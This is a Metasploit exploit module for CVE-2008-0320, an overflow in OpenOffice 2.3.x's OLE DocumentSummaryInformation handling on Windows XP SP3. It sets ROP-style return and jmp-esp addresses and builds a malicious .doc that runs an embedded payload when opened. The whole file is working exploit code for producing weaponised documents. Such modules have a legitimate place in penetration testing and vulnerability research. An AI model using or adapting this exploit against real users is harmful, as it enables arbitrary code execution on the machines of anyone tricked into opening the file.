##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "OpenOffice OLE Importer DocumentSummaryInformation Stream Handling Overflow",
        'Description' => %q{
          This module exploits a vulnerability in OpenOffice 2.3.1 and 2.3.0 on
          Microsoft Windows XP SP3.

          By supplying a OLE file with a malformed DocumentSummaryInformation stream, an
          attacker can gain control of the execution flow, which results arbitrary code
          execution under the context of the user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Marsu <Marsupilamipowa[at]hotmail.fr>', # Vulnerability discovery and PoC
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          ['CVE', '2008-0320'],
          ['OSVDB', '44472'],
          ['BID', '28819'],
          ['EDB', '5584'],
          ['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=694']
        ],
        'Payload' => {
          'Space' => 407
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'OpenOffice 2.3.1 / 2.3.0 on Windows XP SP3',
            {
              'Ret' => 0x609345fe, # add esp, ebx # ... # ret from tl680mi
              'EBX' => 0xffffefa8, # EBX value
              'JmpEsp' => 0x60915cbd, # push esp # ret from tl680mi
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2008-04-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [true, 'The filename', 'msf.doc'])
      ]
    )
  end

  def exploit
    path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2008-0320.doc')
    f = File.open(path, 'rb')
    template = f.read
    f.close

    my_payload = payload.encoded
    template[115717, 4] = [target['Ret']].pack("V")
    template[115725, 4] = [target['EBX']].pack("V")
    template[115729, 4] = [target['JmpEsp']].pack("V")
    template[115808, my_payload.length] = my_payload
    file_create(template)
  end
end
